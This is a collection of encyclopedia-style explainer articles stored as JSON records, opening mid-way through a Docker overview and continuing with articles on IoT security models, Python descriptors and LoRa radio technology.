Compose** is useful. This can start, stop or monitor all services of the app. What if you need to orchestrate containers across many host machines? **Docker Swarm** allows us to do this, basically manage a cluster of Docker Engines. \n\n**Docker Machine** is a CLI tool that simplifies creation of virtual hosts and install Docker on them.  **Docker Desktop** is an application that simplifies Docker usage on MacOS and Windows. \n\nAmong the commercial offerings are **Docker Cloud**, **Docker Data Center** and **Docker Enterprise Edition**. \n\n\n### Which are the command-line interfaces (CLIs) that Docker provides?\n\nSince Docker has many components, there are also multiple CLIs: \n\n    + **Docker CLI**: This is the basic CLI used by Docker clients. For example, `docker pull` is part of this CLI with \"pull\" being the child command. These commands are invoked by user using the Docker Client. Commands are translated to Docker API calls that are sent to the Docker Daemon.\n    + **Docker Daemon CLI**: The Docker Daemon has its own CLI, which is invoked using the `dockerd` command. For example, the command `$ sudo dockerd -H tcp://127.0.0.1:2375 -H unix:///var/run/docker.sock &` asks the daemon to listen on both TCP and a Unix socket.\n    + **Docker Machine CLI**: This is invoked with the command `docker-machine`.\n    + **Docker Compose CLI**: This is invoked with the command `docker-compose`. This uses Docker CLI under the hood.\n    + **DTR CLI**: Invoked with `docker/dtr`, this is the CLI for Docker Trusted Registry (DTR).\n    + **UCP CLI**: Invoked with `docker/dtr`, this is the CLI for installing and managing Docker Universal Control Plane (UCP) on a Docker Engine.\n\n### What are Volumes in Docker and where are they useful?\n\nContainers are meant to be temporary. Any changes made to it at runtime are usually not saved. Sometimes we may save the changes into a new image. Otherwise, changes are discarded. However, there's merit in saving data or state so that other containers can use them. Volumes are therefore used for **persistent storage**. \n\nA volume is a directory mounted inside a container. It points to a filesystem outside the container. We can therefore exit containers without losing app data. Newer containers that come up can access the same data using volumes. The important thing is to implement locks or something equivalent for concurrent write access. Volumes can be created via Dockerfile or Docker CLI tool. \n\nApart from sharing data or state across containers, volumes are useful for sharing data (such as code) between containers and host machines. They're also useful for handling large files (logs or databases) because writing to volumes is faster than writing to Docker's Union File System (UFS) that uses IO expensive copy-on-write (CoW). \n\n\n### What's the purpose of a Dockerfile?\n\nDockerfile is nothing more than a text file containing instructions to build a Docker image. Each instruction creates one read-only layer of the image. When the container runs, a new writable layer is created on top to capture runtime changes. \n\nLet's take the example of a Node.js application. The instruction `FROM node:9.3.0-alpine` specifies the base image of Node.js version 9.3.0 running on Alpine Linux. `ADD` instruction can be used to add files. `RUN` can be used for framework installation or application build. To expose ports from the container, use `EXPOSE`. To finally launch the app within the container, use the `CMD`. \n\nFor more details, read Dockerfile Reference and the best practices for writing Dockerfiles.\n\n\n### What are some basic Docker commands that a beginner should know?\n\nWe describe some Docker commands listed in the official Docker documentation:\n\nTo build a new image from a Dockerfile use the `build` command. We can then push this to a registry using `push`. Commands `search` and `pull` can be used to find and download an image from registry to our local system. To create a new image from a running container's changes, we can use `commit`. To list images, use `images`. A downloaded image can be removed using `rmi`. \n\nOnce we have an image, we can create and start a container using `create` and `start`. Containers can be stopped using `stop` or `kill`. A running container can be restarted using `restart`. We can use `rm` to remove containers. The command `ps` will list all running containers. To list stopped containers as well, use \"-all\" option. \n\nCommands that deal with processes inside containers include `run`, `exec`, `pause`, `unpause` and `top`. Commands that deal with container filesystem include `cp`, `diff`, `export` and `import`. \n\n## Milestones\n\nMar  \n2013\n\nDocker is debuted publicly and open sourced at PyCon, Santa Clara. Earlier work on Docker can be traced to 2010. \n\nSep  \n2013\n\nRed Hat and Docker announce a collaboration around Fedora, Red Hat Enterprise Linux, and OpenShift. \n\nMar  \n2014\n\nDocker replaces LXC with *libcontainer* as the runtime. The latter is written in Golang and developed by the Docker team. \n\nJun  \n2015\n\nDocker, CoreOS and others form the **Open Container Initiative (OCI)**. At the same time, Docker's libcontainer becomes a standalone OCI-compliant runtime called *runc*.  In December 2015, Docker announces *containerd*, a daemon to manage runc. \n\n2016\n\nBy this time, many companies including Cisco, IBM, Google, Microsoft, Huawei and Red Hat are main contributors to Docker. In June, Docker starts to support container orchestration with **swarm mode**. \n\nJan  \n2017\n\nA YAML compose file `docker-compose.yml` can be used to deploy swarm mode services. \n\nMar  \n2017\n\nDocker releases **Docker Enterprise Edition**. It renames the free open source product to **Docker Community Edition**. \n\nJul  \n2017\n\nVersion 1.0 of OCI runtime and image format specifications are released. \n\nMar  \n2018\n\nDocker celebrates its fifth birthday. By now, there's an estimated 37 billion container downloads, 3.5 million dockerized apps and 450+ customers using Docker Enterprise Edition.","meta":{"title":"Docker","href":"docker"}}
{"text":"# IoT Security Model\n\n## Summary\n\n\nSince the Internet of Things (IoT) is not a standard, there's no single standardized approach to security. There are multiple IoT reference models defined by various stakeholders including ITU-T, Cisco, Intel, IBM, Microsoft, Symantec, and others. Security is often considered in these reference models. This article looks at some of these security models.\n\nAn IoT security model can be seen in two perspectives: (a) In a layered architecture, there's a security layer that spans the entire stack, from the connectivity layer at the bottom to the application layer at the top. (b) In an end-to-end solution, security is implemented at all points, from end devices to network to cloud. \n\nModels provide a formal framework to implement security and evaluate the maturity of those implementations.\n\n## Discussion\n\n### How is security addressed within the IoT Reference Model?\n\nFor illustration, let's consider Cisco's reference model for security. It's a layered architecture with the lowest layers being device centric and the highest layers being more cloud centric. For control, information flows top to bottom. For monitoring, the flow is opposite. Security is considered at each layer. The lower layers focus on giving secure access to physical hardware while also providing a trusted environment for code execution. At higher layers, the focus is on identity management, authentication, analytics, and so on. \n\nIBM's own model emphasizes the sensor gateway and IoT gateway where security is important. However, it too recognizes that security concerns the entire system. It identifies data security, device security, user security and application security. \n\nMicrosoft Azure divides the system into things (IoT devices), insights (data processing in the cloud), and action (business integration and machine learning). Security is a cross-cutting concerns across all three parts. We need secure provisioning of devices, secure connectivity, data protection during processing and storage, and secure user management. \n\n\n### How can I apply threat modelling to secure IoT systems?\n\nThreat modelling is an approach used in Microsoft Azure. In particular, they classify threats according to STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege). A threat could fall under multiple categories at the same time. \n\nWhen applied to IoT, the process involves modelling the application, enumerating threads, mitigating threats and validating the mitigations. Core elements of the threat model are processes, data stores, data flows, and external entities. \n\nThey also recommend partitioning the system into **zones**, each defined with its own data, authentication and authorization requirements. Typical zones include devices, field gateways, cloud gateways and services. Trust boundaries between zones are where STRIDE threats can occur. Focus must be on application features that are relevant to security and those that touch trust boundaries. \n\nFor instance, data going in an out of Azure IoT Hub or Event Hub must be protected at protocol level (eg. HTTP/MQTT/CoAP). At device level, read-only OS partition, signed OS image, strong authentication, memory encryption and Trusted Platform Module (TPM) are needed. \n\n\n### What is meant shared security model for IoT?\n\nThe shared security model looks at IoT security from the perspective of stakeholders and their responsibilities. An IoT system has many components and interfaces. It can be secured only when everyone plays their part. \n\nPTC ThingWorx, which is an IoT cloud platform, has identified the following: \n\n    + **Product Vendor**: Securely test, release, document and support software. Alert customers on vulnerabilities. Train employees on best practices.\n    + **Technology Partners & Systems Integrators**: Securely test, release, document and support extensions to the basic product.\n    + **Public Cloud Providers**: Provide all elements of cloud security including hardware, software, networking, and access control.\n    + **Administrators**: Manage identities and user privileges following the principle of least privilege. Scan networks for malware. Set script timeouts. Configure system in line with security policies.\n    + **Users**: Use strong passwords. Regularly update local clients and devices. Avoid navigating to suspicious sites.\n    + **IT Organization**: Meet regulatory requirements. Vet third-party software vendors. Train employees on product usage and best practices.\n\n### I've heard of the IoT trust model. What is it?\n\nThe IoT trust model is inspired by how trust works in human relationships. When we trust someone, we're confident about their integrity, ability or character. The model asks if we can similarly trust IoT devices, services and data. The challenge with IoT is that a service may depend on a dozen others. Quantifying trust is not trivial, though Trust Network Analysis-Subjective Logic (TNA-SL) is one proposed method. \n\nA trust model allows us to ask questions such as, \"Can I rely on devices to defend against viruses? Can devices update themselves? If a device is compromised, do I take it offline or is there a service to do this? How are third parties using my data?\" \n\nTrust attributes become useful. A service may be marked as \"child-safe\". A piece of data may contain \"GPS Location\" or \"Anonymized\" attribute. \n\nThere's also a **human-centric trust model** that considers average users, not just system administrators. Users must find it easy to delegate access to devices and data, or determine who can be trusted and for what purposes. \n\nSymantec takes the view that trust is established using cryptography, digital certificates and Certificate Authorities (CAs). \n\n\n### How can I evaluate the security maturity level of IoT systems?\n\nA maturity model can help determine if current implementations are secure enough. For example, for some IoT devices checking the diagnostic logs may be adequate. For others such as HVAC systems, real-time monitoring and control, and protection against malware are necessary. A maturity model provides a systematic approach to what should be protected, what measures are suitable and to what extent they should be applied. \n\nThe **Security Maturity Model (SMM)** proposed by the Industrial Internet Consortium (IIC) identifies five levels of maturity: Level0 (None), Level1 (Minimum), Level2 (Ad hoc), Level3 (Consistent), and Level4 (Formalized). It also looks at three scope levels: Level1 (General), Level2 (Industry specific), and Level3 (System specific). \n\nAt Level1 maturity, at least the goals are defined and basic measures are implemented. At Level2, use cases are identified. At Level3, best practices, standards, regulations and tools are included. At Level4, the entire process is defined. It's useful to note that, \n\n> Maturity is about effectiveness, not the arbitrary use of mechanisms.\n\n## Milestones\n\n2011\n\nKøien publishes a paper titled *Reflections on Trust in Devices: An Informal Survey of Human Trust in an Internet-of-Things Context*. He notes that IoT devices are varied and often operate in hostile environments. Neither software nor hardware can be trusted completely. We therefore need security measures to mitigate risks. \n\n2013\n\nRiahi et al. propose a systematic approach to IoT since traditional methods don't consider aspects unique to IoT. Their model considers four entities: persons, processes, intelligent objects, and the technological ecosystem. When these entities interact, there's tension among them. They consider the following tensions: identification/authentication, privacy, trust, safety, responsibility, reliability, and auto-immunity. \n\n2017\n\nNXP proposes a **secure distributed manufacturing model** that looks at how NXP, OEMs and ODMs can play their part in securing the supply chain. For example, OEMs generate their own salt that even NXP doesn't know but NXP processors will protect this salt. The model aims to streamline security at the chip and device level. The model brings transparency and trustworthiness. \n\nDec  \n2018\n\nThe ioXt Alliance crafts the **ioXt Security Pledge** consisting of eight principles. The Alliance was previously known as Internet of Secure Things. It brings together wireless carriers, manufacturers, standard groups, compliance labs and government organizations. \n\nJun  \n2019\n\nITU-T publishes the Y.4460 Recommendation, which details an IoT reference model. In fact, it describes three models based on device capability: low processing and low/high connectivity, and high processing and high connectivity. Security is not given due consideration and it's covered in a small paragraph. \n\nMay  \n2020\n\nThe Industrial Internet Consortium (IIC) publishes two white papers describing what it calls the **IoT Security Maturity Model (SMM)**. This is partly based on the Industrial Internet Security Framework (IISF) published by IIC in 2016. The SMM process is iterative and is based on Plan-Do-Check-Act (PDCA) cycle. The process starts with identifying a maturity target, assessing current level of maturity and working towards the target.","meta":{"title":"IoT Security Model","href":"iot-security-model"}}
{"text":"# Python Descriptor\n\n## Summary\n\n\nPython objects have attributes that can be accessed, modified or deleted. Python provides a default manner in which these operations are performed but what if we wish to customize these operations? This is where descriptors are helpful. \n\nDescriptors can be used to manage access to an attribute, validate attribute values, customize error messages, track data corruption bugs, or perform dynamic computations on attribute lookup. Descriptors are commonly defined at class level but when defined at module level they can be used to display deprecation warnings or implement lazy loading. \n\nIt's been said that a good understanding of descriptors can improve a developer's coding skills. Descriptors are commonly used by library developers.\n\n## Discussion\n\n### What are some use cases of Python descriptors?\n\nSuppose there's a `Directory` class that has a `size` attribute to reflect the number of files in that directory. Naturally, its value can change dynamically as files are added or removed. Without descriptors, we might implement this as a method `get_size()`. The method will query the file system and obtain the current size. \n\nDescriptors allow us to get the size dynamically while also accessing the size as a data attribute. Thus, we can say `d.size` rather than `d.get_size()`. Moreover, the behaviour of querying the file system was previously within `Directory.get_size()`. With descriptors, the behaviour is nicely encapsulated within the descriptor class `DirectorySize`.\n\nAnother use case of descriptors is to manage data access. For example, public attribute `age` is exposed in a `Person` class but managed privately as `_age` within a descriptor class. The descriptor class could also perform validations. For example, when assigning a value to `age` it can check if the value is a non-negative integer.  \n\nA real-world example of a descriptor is `GenericForeignKey` in Django. \n\n\n### How can I implement Python's descriptor protocol?\n\nAssume one or more instances of TextWrapper class are instantiated as members of Email class. TextWrapper is the **descriptor class** and Email is the **owner class**. To support the descriptor protocol, TextWrapper implements the following methods (but not necessarily all): \n\n    + `&lowbar;&lowbar;get&lowbar;&lowbar;(self, instance, owner=None)`: Called when the attribute of the owner class or its instance is accessed. Eg. `print(e.sender)`.\n    + `&lowbar;&lowbar;set&lowbar;&lowbar;(self, instance, value)`: Called to set the attribute on an instance of the owner class. Eg. `e.sender = 'foo'`.\n    + `&lowbar;&lowbar;delete&lowbar;&lowbar;(self, instance)`: Called to delete the attribute on an instance of the owner class. Eg. `del(e.sender)`.\n    + `&lowbar;&lowbar;set_name&lowbar;&lowbar;(self, owner, name)`: Called when the owner class is created. This allows descriptor instances to access their own name as defined in the owner class.An object that has defined one or more of `&lowbar;&lowbar;get&lowbar;&lowbar;`, `&lowbar;&lowbar;set&lowbar;&lowbar;` or `&lowbar;&lowbar;delete&lowbar;&lowbar;` is a descriptor. Descriptors work only as class variables of the owner class. \n\nThe statement `e.sender += 'bar'` will automatically call both `&lowbar;&lowbar;get&lowbar;&lowbar;` and `&lowbar;&lowbar;set&lowbar;&lowbar;`. \n\n\n### What's the difference between data and non-data descriptors?\n\nA descriptor that defines `&lowbar;&lowbar;set&lowbar;&lowbar;` and/or `&lowbar;&lowbar;delete` is a **data descriptor**. A descriptor that defines only `&lowbar;&lowbar;get&lowbar;&lowbar;` is a **non-data descriptor**. \n\nData descriptors override redefinitions in instance dictionary whereas instances can override non-data descriptors. \n\nFor a descriptor that doesn't define `&lowbar;&lowbar;get&lowbar;&lowbar;`, attribute access will return the value from the instance dictionary. If this doesn't exist, the descriptor object is returned. \n\nNon-data descriptors are typically used for methods. In fact, Python methods are implemented as non-data descriptors, including those decorated with `@staticmethod` and `@classmethod`. Instances can override these methods. On the other hand, `property()` function is implemented as a data descriptor, meaning that instances can't override its behaviour. \n\n\n### Why do we need the descriptor protocol when we have &lowbar;&lowbar;getattr&lowbar;&lowbar;, &lowbar;&lowbar;setattr&lowbar;&lowbar; and &lowbar;&lowbar;delattr&lowbar;&lowbar;?\n\nMethods `&lowbar;&lowbar;getattr&lowbar;&lowbar;`, `&lowbar;&lowbar;setattr&lowbar;&lowbar;` and `&lowbar;&lowbar;delattr&lowbar;&lowbar;` allow us to customize the behaviour of attribute access. These methods are defined on the owner class. If the owner class has many attributes to manage, these methods could become complex to maintain. Method implementations may have ugly `if-else` constructs to manage the different attributes.\n\nDescriptors offer a more modular, maintainable and extensible approach. Instead of the owner class controlling how attributes should be managed, the control is now with the class of the attribute being managed. In other words, descriptors have a say on how their instances should be managed. \n\nIn the figure, we see how any value assigned to a name attribute is capitalized. Method `&lowbar;&lowbar;setattr&lowbar;&lowbar;` of Person class can be used for this but requires the attribute be named \"name\". The descriptor protocol offers a better way. Class CapitalizedValue is a data descriptor that does the capitalization. Person class defines an attribute of name \"name\" but any other name could have been given. \n\n\n### How do Python descriptors work under the hood?\n\nHow Python descriptors work under the hood is basically about how the language does attribute access. Python applies a bunch of rules in a well-defined order of precedence. This is shown in the figure for both get and set/delete operations. These rules check whether class overrides the access methods `&lowbar;&lowbar;getattribute&lowbar;&lowbar;` and `&lowbar;&lowbar;getattr&lowbar;&lowbar;`, whether class or instance access is performed, and whether attribute is a descriptor object and what parts of the descriptor protocol are implemented. \n\nWe can see that for a get operation, data descriptor has higher precedence than instance attribute, which in turn has higher precedence than non-data descriptor. \n\nWe can summarize the lookups for instance and class attribute accesses: \n\n    + **Get**: `obj.x` ⇒ `Cls.&lowbar;&lowbar;dict&lowbar;&lowbar;['x'].&lowbar;&lowbar;get&lowbar;&lowbar;(obj, Cls)`and `Cls.x` ⇒ `Cls.&lowbar;&lowbar;dict&lowbar;&lowbar;['x'].&lowbar;&lowbar;get&lowbar;&lowbar;(None, Cls)`\n    + **Set**: `obj.x = v` ⇒ `Cls.&lowbar;&lowbar;dict&lowbar;&lowbar;['x'].&lowbar;&lowbar;set&lowbar;&lowbar;(obj, val)` and `Cls.x = v` ⇒ Regular override\n    + **Delete**: `del obj.x` ⇒ `Cls.&lowbar;&lowbar;dict&lowbar;&lowbar;['x'].&lowbar;&lowbar;delete&lowbar;&lowbar;(obj)` and `del Cls.x` ⇒ Regular deletion\n\n### What other features of Python are implemented by descriptors?\n\nBuilt-in functions `classmethod()`, `staticmethod()`, `property()`, and `functools.cached_property()` are all implemented as descriptors. \n\nA **property attribute** is one that triggers method calls when accessed. Property is implemented as a data descriptor.  It has an easier interface than a descriptor and a different abstraction. The methods are typically defined in the same class in which the attribute resides. There are two ways to link methods to a property: (i) using the `property(fget=None, fset=None, fdel=None, doc=None)` built-in function; (ii) using decorators `@property`, `@x.setter` and `@x.deleter` where `x` is the name of the property and also the name of the methods so decorated.  \n\nAnother Python feature is **slots**, available as a class variable `&lowbar;&lowbar;slots&lowbar;&lowbar;`. This variable can be assigned all allowed attributes of the class and its instances. Thus, instances can't add new attributes. Instances also don't contain `&lowbar;&lowbar;dict&lowbar;&lowbar;` and `&lowbar;&lowbar;weakref&lowbar;&lowbar;` unless explicitly included in `&lowbar;&lowbar;slots&lowbar;&lowbar;`. Every item in `&lowbar;&lowbar;slots&lowbar;&lowbar;` is implemented as a descriptor. \n\n\n### Could you share some tips for working with Python descriptors?\n\nFor most use cases, or at least for beginners, property is a simpler interface than defining a descriptor from scratch. In fact, property has been called a \"high-level descriptor builder\" or a \"descriptor factory\". \n\nA read-only data descriptor can be constructed by defining both `&lowbar;&lowbar;get&lowbar;&lowbar;` and `&lowbar;&lowbar;set&lowbar;&lowbar;` but the latter is coded to raise an `AttributeError` exception. \n\nWe can use a descriptor to implement a one-time initialization. This is done by setting an internal flag in `&lowbar;&lowbar;set&lowbar;&lowbar;`. \n\nDescriptors enable many other use cases elegantly. Logging all accesses of an attribute can be implemented by a descriptor. When an attribute changes, we can update all dependent attributes, such as, updating area when circle radius changes. Lazy evaluation is another use case in which behaviour is invoked only when necessary. \n\n## Milestones\n\nJan  \n1994\n\nPython 1.0 is released. Descriptors don't exist in this initial release. \n\nDec  \n2001\n\nPython 2.2 is released. This introduces **descriptors** into the language via PEP 252. Descriptors themselves have the following attributes: `&lowbar;&lowbar;name&lowbar;&lowbar;`, `&lowbar;&lowbar;doc&lowbar;&lowbar;`, `&lowbar;&lowbar;get&lowbar;&lowbar;()`, `&lowbar;&lowbar;set&lowbar;&lowbar;()` and `&lowbar;&lowbar;delete&lowbar;&lowbar;()`. Descriptors are now used to support static methods and class methods. New features slots and properties are also new kinds of descriptors. \n\nJun  \n2011\n\nPython 2.7.2 is released. In the accompanying documentation, Hettinger states in the *Descriptor HowTo Guide* that,\n\n> Learning about descriptors not only provides access to a larger toolset, it creates a deeper understanding of how Python works and an appreciation for the elegance of its design.\n\nFeb  \n2015\n\nIn PEP 487, Teichmann proposes the use of `&lowbar;&lowbar;set_name&lowbar;&lowbar;()` initializer for descriptors. While a descriptor knows its owner when `&lowbar;&lowbar;get&lowbar;&lowbar;()` is called, it doesn't know its own name, that is, the instance name that the owner has defined. Method `&lowbar;&lowbar;set_name&lowbar;&lowbar;()` solves this problem. This feature is accepted for Python 3.6 (December 2016). \n\nSep  \n2017\n\nIn PEP 549, Hastings proposes **instance descriptors**, since currently Python supports descriptors only as members of the type of an object. This proposal is rejected in preference to a simpler proposal by Levkivskyi in PEP 562. The idea is to support `&lowbar;&lowbar;getattr&lowbar;&lowbar;()` and `&lowbar;&lowbar;dir&lowbar;&lowbar;()` at module level. These allow customization of module attribute access. Two use cases for this are deprecation warnings and lazy loading. This feature is accepted for Python 3.7 (June 2018). \n\nAug  \n2018\n\nAt PyCon Australia, Egan reveals his analysis of the use of the descriptor protocol in public GitHub repositories. Method `&lowbar;&lowbar;get&lowbar;&lowbar;()` is implemented 1.2 million times. Method `_set_name&lowbar;&lowbar;()` is implemented the least since it's been around only since Python 3.6.","meta":{"title":"Python Descriptor","href":"python-descriptor"}}
{"text":"# LoRa\n\n## Summary\n\n\nFor the Internet of Things (IoT), many devices are likely to be constrained in terms of cost and power. For many use cases, devices require only a low data rate but long range. Cellular technologies, Wi-Fi or Bluetooth don't cater well to these use cases. This is where **LoRa (Long Range)** becomes relevant. \n\nLoRa devices are low power, long range devices. They transmit and receive data over unlicensed frequency spectrum. A typical use case is to transmit low-rate sensor data. There are plenty of LoRa deployments worldwide, offered as free or paid services.\n\nLoRa is one particular technology in the domain of Low-Power Wide-Area Network (LPWAN). Alternatives to LoRa include Sigfox and NB-IoT.\n\n## Discussion\n\n### What led to the wider deployment of LoRa?\n\nCellular networks such as 2G and GPRS were used for machine-to-machine (M2M) data communication, particularly for sending data from remote locations. Such networks used relatively less power compared to 3G or LTE. But by the start of 2017, network operators such as AT&T (US) announced the termination of 2G and GPRS. \n\n3GPP's own alternatives for M2M communications were LTE-M and NB-IoT. However, these were not expected to be ready until early or mid-2018. This created a void following the sunsetting of 2G. There was a need for a protocol that catered to low power, long range and bi-directional communication devices. This led to the wider deployment of LoRa network. \n\nLoRa doesn't need costly spectrum licensing fees typical of cellular networks. By 2013, the fundamental technologies powering LoRa were patented and owned by Semtech. LoRa Alliance was formed in early 2015 to address the market need, while also standardizing and promoting LoRaWAN that was built on top of LoRa. \n\n\n### What are the advantages of LoRa?\n\nLoRa has the following advantages:  \n\n    + Long range: Many miles on line-of-sight links.\n    + Low power: Can run on battery for years.\n    + Low cost: LoRa modules are pocket-friendly. It uses constant envelope modulation that brings lower cost and higher efficiency to the power amplifier.\n    + Universal: Uses unlicensed bands that are globally available.\n    + Bi-directional: Can send and receive data.\n    + Network scalability: Easy to scale as it supports millions of messages per station. A single gateway can support thousands of end devices.\n    + Easy commissioning: Easy to deploy in an existing network.\n\n### What are the typical use cases of LoRa?\n\nLoRa is suitable for rural use due to its long range. In urban areas, where signals have to penetrate floors and walls, LoRa is suitable. Among its application areas are smart cities, smart homes and buildings, smart agriculture, smart metering, and smart supply chain and logistics. \n\nA typical use case is **smart metering**. For example, LoRa-enabled meters will increase efficiency and optimize processes. For water management, sensors will monitor water pressure, water level or detect leaks. \n\nIn **smart buildings**, the typical use of LoRa is for smoke detection, asset and vehicle tracking, room usage and more. Asset tracking is possible because LoRa works well even when devices are in motion. \n\nSince LoRa is bidirectional, applications can benefit from **command-and-control** functionality. Uplink can be used for continuous monitoring and downlink can be used for controlling the device. \n\nLoRa when combined with Wi-Fi can optimize a number of IoT use cases. For example, asset tracking, location services and on-demand streaming can be improved. \n\n\n### Could you share some technical details of LoRa?\n\nLoRa operates in different bands in different parts of the world. In the USA it operates at 902-928 MHz. In Europe, it operates at 863-870 MHz. In China, the spectrum is 470-510 MHz and 779-787 MHz. In India, it operates at 3 channels: 865.0625 MHz, 865.4025 MHz, 865.9850 MHz. In many Asian countries, the spectrum is 920-923 MHz or 923-925 MHz. Australia uses 915-928 MHz. Typically, downlink channels are higher than uplink. \n\nData is spread with a chip sequence, thus spreading signal energy over a wider bandwidth. LoRa has six spreading factors, SF7-SF12. Larger the spreading, longer the range and smaller the bit rate. Spreading factors are orthogonal, which means that signals with different spreading factors can coexist. In North America, there are 64 125 kHz uplink channels, 8 500 kHz uplink channels, and 8 500 kHz downlink channels. For same SF, lower bandwidth implies better sensitivity. \n\nSemtech's SX1276/77/78/79 transceivers achieve 168 dB maximum link budget. Sensitivity is -148 dBm. Bit rate can be programmed to up to 300 kbps. They consume receive current of 9.9 mA and 200 nA for register retention. \n\n\n### What is the range of LoRa?\n\nLoRa has a typical range of 2-8 km with the higher range achieved when the spreading factor (SF) is larger. Larger spreading factor also implies a lower bit rate. Moreover, this range can also vary based on the terrain. \n\nIn an urban environment with an outdoor gateway 2-3 km is the typical range. In rural areas, this can be 5-7 km. \n\nIn an experiment using a weather balloon, a range of 702 km was achieved. A LoRa device was attached to a helium-filled balloon that rose to an altitude of 38.772 km. Packet sent from the node was received by 148 different gateways connected to The Things Network. One of the gateways at a height of 30 meters was located in Wrocław, Poland. By that time, the balloon was flying over Osterwald, Germany. The distance was 702.676 km. Transmit power was 25mW (14dBm), which is about 40 times smaller than what a mobile phone uses. \n\n\n### Could you share some details about how LoRa works?\n\nLoRa uses **Chirp Spread Spectrum (CSS)** that spreads the original signal to a larger bandwidth by continuously varying the frequency. Data signal is spread or chipped to a higher rate. This then modulates the chirp carrier signal. Due to this method, LoRa doesn't require a highly accurate reference clock, thus dropping the cost on receiver design. The signal also tolerates Doppler frequency shifts, making LoRa suitable for mobile devices. Due to spreading, processing gain is achieved, making LoRa resilient to multipath and fading. \n\nA LoRa PHY frame has repeated upchirps for the preamble, two downchirps for start of frame delimiter (SFD), and choppy upchirps of varying lengths that signify data. Instantaneous frequency changes are due to data being modulated onto the chirps. A LoRa receiver will identify the preamble and SFD. To extract symbols, it will de-chirp with locally generated signal and take FFT of de-chirped signals. FFT length corresponds to number of possible symbols, which is twice the spreading factor. \n\n\n### How is LoRa different from LoRaWAN?\n\nLoRa is proprietary and patented by Semtech Corporation. LoRaWAN is built on top of LoRa and is standardized by LoRa Alliance. \n\nLoRa defines the PHY layer for low-cost, low-power, and long-range communication. LoRaWAN defines the MAC layer for bidirectional communication, mobility and localization services. LoRaWAN addresses the network architecture: how devices connect to gateways, how gateways process the packets, and how packets make their way to network servers and application servers. LoRaWAN also defines three different device types (class A/B/C) to suit different power needs. \n\nWhile it's typical to use LoRaWAN with LoRa, there are alternatives to LoRaWAN. For example, Link Labs' Symphony Link is an alternative. They claim that LoRaWAN is suitable for public networks but for private networks serving industrial applications Symphony Link is better. \n\n\n### Where has LoRa been deployed?\n\nLoRa is widely deployed in Europe, the US and Asia. By mid-2018, LoRaWAN was deployed in 95 countries. \n\nBack in 2015, National Narrowband Network and Telstra did independent LoRa trials in Australia. In November 2015, KPN's LoRa network went live in Rotterdam and The Hague in the Netherlands. In July 2016, it achieved nationwide coverage, making Netherlands the first country in the world to have this capability. \n\nIn the US, MachineQ, a Comcast company, is providing LoRaWAN-based access network for IoT applications. In May 2018, it connected 10 US cities to the network. \n\nIn June 2019, Kerlink and Tata Communications Transformation Services announced a partnership to deploy LoRaWAN globally. In fact, they had already deployed LoRaWAN in 40 Indian communities and cities. The network was reliable across three monsoon seasons. In December 2019, SenRa announced LoRaWAN coverage in 60 Indian cities and plans to expand to 100 cities by end of 2020. \n\nTaiwanese company Kiwi Technologies has enabled LoRaWAN deployments in China, Taiwan, Indonesia, Thailand, and other countries. \n\n\n### Who supplies LoRa chipsets and modules?\n\nThe first LoRa commercial chipsets were manufactured by Semtech. These are SX12XX series chips. \n\nNow there are many semiconductor companies such as Microchip and Murata who are manufacturing the chips compatible with their microcontrollers. As an example, Murata's CMWX1ZZABZ LoRa module integrates Semtech's SX1276 transceiver with STM32L0 Series MCU from STMicroelectronics. ST's LoRaWAN SDK can be used to program the MCU. \n\nLoRa Alliance maintains a list of products that are certified for LoRaWAN. These products include system-in-packages, sensors, and modules. \n\n\n### What are some useful resources to learn about or use LoRa?\n\nLoRa Alliance's Resource Hub is the place to download the LoRaWAN specification. There are also case studies, FAQ, presentations and white papers. \n\nLoRa Developer Portal from Semtech is a useful site to visit. It has useful case studies, technical documents, datasheets, user guides, and more. \n\nBastille Research has open sourced gr-lora that's a GNU Radio out-of-tree (OOT) module implementing LoRa PHY. Although LoRa is proprietary, Matt Knight did blind signal analysis that led to gr-lora. \n\nThere are many tools available online for operating LoRa-based networks. LoRatools provides tools such as Key generator, Thingpark import helper, Hex helper and Airtime calculator. For data visualisation, open source visualisers such as Kibana can be used.\n\n\n### What are some criticisms of LoRa?\n\nLoRa is not open source. The technology is patented by Semtech Corporation, who release the chipsets. Although the patents describes how LoRa works, independent analysis has shown that real-world implementation differs in many ways from what's disclosed in the patents. In particular, symbol gray indexing, data whitening and interleaving differ. \n\nThe security of LoRa at PHY layer is probably not mature. It's possible to inject and mask malicious traffic that higher layers don't detect. Many of the exploits known to IEEE 802.15.4 can be used here. \n\nAccurate LoRa localization is hard to implement, at least with time difference of arrival (TDOA). Unless there's near line-of-sight, it's hard to detect the direct path. Since LoRa bandwidth is only 125 kHz, a receiver can separate different multipaths only if they differ by at least 2.4 km. \n\nIt may be said that compared to NB-IoT, LoRa has lower data rate and higher latency. However, LoRa also gives longer battery life than NB-IoT. Therefore, this is more of a trade-off that may benefit many IoT applications. \n\nThere are also limitations of LoRaWAN that are not discussed here. \n\n\n### Could you name some alternatives to LoRa?\n\nLoRa has the following alternatives:  \n\n    + **Sigfox**: Proprietary technology from a French company. Low cost and long range. Meant mainly for uplink. Downlink is limited. Many deployments in Europe but only few in the U.S. An indoor tracker with Sigfox can last for 5+ years on a single AA cell.\n    + **Narrowband IoT (NB-IoT)**: Cellular-based technology optimised for low power and long range. Compared to LoRa, NB-IoT has the advantage of being an open standard in an already mature ecosystem for mobile networks with support from telecom equipment vendors. Operates in licensed spectrum. Related cellular standards for LPWAN include EC-GSM-IoT and LTE Cat-M1.\n    + **Random Phase Multiple Access (RPMA)**: Proprietary technology developed by Ingenu, previously called On-Ramp Wireless. Superior uplink and downlink capacity. Better link budget than LoRa or Sigfox. Operates in 2.4 GHz.\n    + **Weightless**: Open standard in sub-GHz unlicensed spectrum. Three variants: Weightless-W, Weightless-N and Weightless-P.\n\n\n## Milestones\n\n1899\n\nGuglielmo Marconi experiments with frequency-selective reception in an attempt to reduce interference. \n\n1942\n\nActress Hedy Lamarr and composer George Antheil are awarded U.S. Patent 2292387 for frequency hopping. Their patent application is titled *Secret Communications System*. During World War II, U.S. military uses frequency hopping methods. Years later, this technology becomes important for commercial wireless communication. \n\n2008\n\nFirst patent of LoRa is filed by French company Cycleo SAS. This uses a technology called **Chirp Modulation**. The U.S. Patent US7791415 is titled *Fractional-N Synthesized Chirp Generator*. The figure shows an example where down-chirp rate is twice the up-chirp rate. Output frequency \\(f\\_o(t)\\) is determined by frequency ramp control word \\(R(t)\\) and frequency control word \\(M(t)\\). \n\nMar  \n2012\n\nSemtech acquires Cycleo SAS for $5M. 